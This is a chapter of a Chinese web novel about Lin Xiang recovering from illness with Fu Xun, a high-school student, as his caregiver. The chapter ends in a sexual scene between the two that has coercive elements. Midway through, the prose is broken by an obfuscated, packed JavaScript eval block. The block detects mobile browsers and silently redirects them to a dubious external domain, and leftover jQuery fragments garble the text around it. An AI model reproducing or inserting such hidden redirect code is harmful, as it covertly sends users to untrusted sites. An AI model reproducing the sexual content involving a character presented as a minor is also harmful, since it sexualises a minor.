6. 第6章

作品:《小兔童话

    半个月过去,林湘更瘦了,看上去就像一个快要碎掉的瓷娃娃,走路时仿佛是被风拥着走的。傅恂带着林湘去上厕所,走在他的身侧,一只手牵着他,陪他慢慢地走,好像有用不完的耐心。


    林湘问:“今天在学校吃了什么?”


    傅恂面色平淡地撒谎:“清蒸鱼、炒白菜。”他并没有回学校,和老师请了假,林湘睡觉时,他就坐在床边小憩。


    林湘低头脱下宽大的病号服,看着自己畸形的下身,说:“没有吓到你吧。”


    傅恂帮林湘举着吊瓶,站在他身后几步距离,把脸转过去,说:“没有。”


    林湘忽然有些后悔,他在这世上最亲密的人只剩下傅恂,早已成为自己难以割舍的一部分,可这么多年来,却耻于坦诚。这个处在学业关键期的高中生,每天坚持不懈来医院陪他,他应该好好感谢傅恂。


    林湘说:“这次情况特殊......”


    傅恂打断他:“打算瞒我一辈子?”


    外婆知道、傅霖知道,唯独他不知道,如果不是这次特殊情况,他似乎永远不得瞧见月亮隐藏的背面。


    林湘望着站在他面前的傅恂,视线变得模糊。傅恂在这模糊的视线里,看上去竟像是傅霖,一样颀长的身材,一样俊秀的脸。


    傅恂伸出一只手搂住踉跄的林湘,整个把他抱起来,皱起眉说:“好了就回床上休息吧。”


    “我不想让你觉得有负担......谢谢你,傅恂。有你在真的太好了。”林湘伏在他肩上,终于把这句话说给他听。


    傅恂轻描淡写道:“我喜欢女生。”


    林湘点点头,脸上露出有些促狭的笑意,“这样挺好的。”


    医生来给林湘打针,那样粗的针管,缓缓推进他的脊椎里,傅恂握着他的手,那么那么用力。


    林湘说:“你要是有了喜欢的女孩子,第一个告诉我好不好?”


    傅恂笑:“告诉你有什么用?”


    林湘重复:“好不好?”


    傅恂说:“看心情。”


    林湘也笑,傅恂从来不肯说他想听的话。他笑着笑着又疼得倒吸一口凉气,“好疼啊。我们什么时候可以回家?我好想家。”他挂念家里那些他精心照顾的花花草草,想念那两个人一起转身都困难的、小小的厨房,想念和傅恂一起吃的那一锅面条。他总是会心血来潮变着花样折腾面条,可不管他折腾出来的成品好不好吃,傅恂都会吃得干干净净。


    傅恂说:“快了。”带着几不可闻的叹息声。


    窗外的夕阳好漂亮,林湘躺在橙色的余晖里,长睫微翘,远看近看都十分漂亮。在苦难终结前,好像只要有依赖、陪伴、不走散,他靠这些就可以活下去。林湘是他见过最有韧性的人,单纯的,傻傻的,喜欢种花,下厨,不管自己说话多难听,总是笑眯眯地从头听到尾。从前他以为林湘是故意惯着他,是装的;可时间一久,才发现并不是,他永远找不到林湘的底线在哪,好像什么苦难撞在林湘身上都会土崩瓦解。他那样清苦又贫穷的少年时期,因为有温柔的林湘,都变得那样幸福。


    终于到了出院那一天,傅恂去办出院手续,隔壁床的病友王阿姨给林湘送了一只老母鸡,用好大一个塑料袋装着,里面还有用枸杞、党参一起炖的鸡汤。


    当时林湘在睡觉,她问过傅恂,这是你姐姐还是妹妹呀?


    这个男孩子照顾起林湘,比她丈夫照顾自己还要勤快,不管是换药还是擦身子,动作都干脆利落。每天下午五点准时背着肩带开了线的书包来到病房,陪护的折叠床只用30块钱一个晚上,他也不去租,在病床前一坐就是一个晚上,好像不用休息,等早晨医生巡房结束了才会离开;十一点又准时回来,带一个不锈钢的保温饭盒,两个人分一份饭,林湘只能吃流食,吃得很少,吃好了就会看着他吃光饭盒里所有的饭菜,笑盈盈地问他在学校里的事情。


    傅恂说,都不是。


    王阿姨觉得奇怪,除了亲人,谁还能忍受在病房里这么久的陪护?她本想继续追问,见傅恂脸色不悦,不太想搭理人的样子,便识趣地不再吭声,心里叹息道两个可怜的小孩子,住院这么久,竟没有一个大人过来照顾。


    傅恂看向林湘手里的塑料袋,问他:“哪来的?”


    林湘声音小小的:“邻床王阿姨给的。我怕吃不起饭……就收了。”


    他和傅恂有一张共同的银行卡,两人所有的支出收入都在这张卡里,生病这段时间,一定花光了这些年他们攒的积蓄,也许还不够。他试探着开口问准备去缴费的傅恂:“交完钱我们还吃得起饭吗?”


    傅恂说:“等会不就知道了。要是没钱吃饭,你就留在这扫地打工,我去太平间搬尸体。”


    林湘:“......好啊。”


    傅恂在缴费窗口前回头看了看林湘,正乖乖地坐在椅子上,抱着他的书包等他。


    工作人员和他说,费用已经交过了,不要在窗口浪费时间,后面还有很多人在排队。


    傅恂笑了笑,说:“好的,知道了。”


    傅家的秘书已经给他交完剩下所有费用,他来这不过做个样子给林湘看——这个傻瓜,担心没钱吃饭会饿着他的肚子,永远不会为自己考虑。


    傅恂走到他身边,略带可惜地说:“卡里还剩五十一,林湘,你努力了几年,又变成穷光蛋了。”


    谁知林湘摇摇头,眼睛亮晶晶地看着他:“你不觉得这样很有盼头吗?我们可以从头开始,我去实习,会有工资的呀,到时候每个月存一半,留做你以后大学的费用;另一半就用来......”


    林湘说要庆祝自己出院,再犒劳一下辛苦陪诊的傅恂,拉着他去了菜市场。三三两两的路人携手从他们身边路过,带着孩子的妇女、年轻的恋人,还有白头的伴侣。菜市场对林湘来说是一个最具有生活力的地方,他听他们说家常,说琐事,说价格,声音亲切。他看向傅恂的侧脸,年轻美好,有无限的未来,心里由衷地希望傅恂也和他们一样,健康自由,虽然平凡,但是很幸福。他安静地看着,好像看到傅恂会和某个人牵手散步,逛超市,逛菜市场,夕阳把影子拖得好长好长,度过每一个普通的日子,平平顺顺地白头到老。他要是有那么一天在天上或地下和傅霖重新相遇,可以笑着说,你的弟弟很幸福,我把他照顾得很好,是不是很厉害?可是他竟有些不舍。水产区的地面总是湿漉漉的,氧气泵在塑料盆底咕嘟咕嘟吐泡,刮鳞刀在砧板上嗒嗒地响,难闻的腥味、潮湿的空气,不知道老街的小巷子是不是也还湿漉漉的、弥漫着咸腥的怪味呢。


    最后他们只买了一点苹果,傅恂回家切下那只母鸡,剥下一边的肉剁成细碎的小块。林湘在电饭锅里蒸好一小杯米饭,拿着傅恂切好的碎肉拌进饭里,淋上汤汁,泡得软软的,这就是他的晚饭;傅恂不吃这种黏糊的流食,林湘就用老干妈和榨菜拌进成块的鸡胸肉里,又加了一块鸡腿,用小锅温温地翻炒,母鸡被炖得软烂,翻炒时他就额外小心。


    今年他21岁,在饭桌上吃着便宜的汤泡饭


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735297|174066||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,身边坐着安静进食的傅恂,吃完饭,傅恂会洗碗、写作业,他会给傅恂削苹果,他有一份即将入职的实习工作,一切都向美好的轨迹行驶。


    多年后他总会想起这一天,幸福原来早就已经拥有,就叫做普通的一天。


    最近天气慢慢热了起来,傅恂有些洁癖,午睡前要洗一次澡,连同平日枕在林湘肩上咬他手腕的癖好都收敛了一点,咬还是会咬,只是两人中间隔了一道距离。林湘有些不适应,刚洗了澡的傅恂身上透着一股清爽干净的柠檬香,他把头靠近了一点,只是轻轻一嗅就能闻见这股香气。


    傅恂最近很怪,总是背对着他睡觉,改不掉咬人的习惯,把他的手臂从背后拉到嘴边,变本加厉的连手指头也一起咬。他又去揪傅恂的耳朵,换来的是傅恂不仅把他的手指放在利齿间啃咬,还用舌尖轻舔他的皮肉。


    林湘醒来后傅恂已经不在床上,他走到客厅,看见傅恂在沙发偏僻的一处黑暗里坐着,百无聊赖般地支起手臂看电影。


    于是林湘在他旁边坐下,陪他一起看。客厅内没有开灯,光线十分昏暗,屏幕画面平淡乏味,傅恂甚至小小打了个呵欠,看上去兴致怏怏,林湘却坐立难安,一直用余光偷偷瞥他。


    家庭主妇买菜回家,跟新搬来的年轻男大站在门口聊天,直到屏幕里忽然响起一阵难耐的喘息,林湘的小脸涨得通红,有些局促:“你怎么看这种东西?”


    傅恂抬眼看了他一眼,林湘的反应让他觉得有趣,生了些逗弄的心思,于是漫不经心地说,“我青春期啊。”


    屏幕上,男人把女人压在沙发里,女人欲拒还迎,紧紧抱着年轻男人的脖子。双眼突然被林湘伸手捂住,林湘在他耳边认真地说,“不行的,不可以看这些。你还小,最重要的是学习。”


    在黑暗里,傅恂也能描出林湘的模样:用红润的软唇说出一本正经的严肃话,脸却红得能滴出血来,是一只狐假虎威的小猫咪。


    “这不是学习么?不学连地方都找不到,以后怎么让我的女朋友满意。”捂住眼睛的手被拉下,傅恂脸上带着戏谑又散漫的笑,“还是你教我?”


    林湘说:“教......什么?”


    傅恂平静道:“我不会。”


    林湘极力忽视,他声音沙哑,脱口而出:“你像电影里那样,摸它。”


    傅恂拉开拉链:“这样么?”


    过了一会儿,他放下手,说痛,“算了。


    ——


    林湘喃声:“手酸。”


    傅恂盯着这张娇嫩漂亮的脸蛋,换上命令的口吻,冷声道:“别撒娇。”


    林湘的脑袋已经被蒸得发晕,无法思考,他呜咽道:“不可以凶我......”


    傅恂眼帘低垂,低笑一声,伸手掐住林湘的下巴,捏住脆弱的后颈,迫使他离开自己的肩膀,让他低下头清晰地看着,“你当玩玩具么。”


    ——


    他尽力抬眸去找傅恂的眼睛,发现对方也在注视着他,和他的相反,傅恂的眼珠冷淡清澈。林湘和他四目相对,温热顺着他的眼皮、脸颊滑下来,傅恂没有给他擦脸,他也无所谓它们流向哪里。他在尽力寻找让这一切变得合理的理由,这似乎有什么不对的地方,但又有个声音告诉他,这一切理所应当。


    “我……”林湘如梦初醒,慌忙地从他身上跳下来,逃到卫生间去。


    傅恂坐在沙发边,用纸巾擦手。林湘在卫生间门合上的一瞬开口对他说了什么,傅恂没有回应,沉默地向他的小猫道别。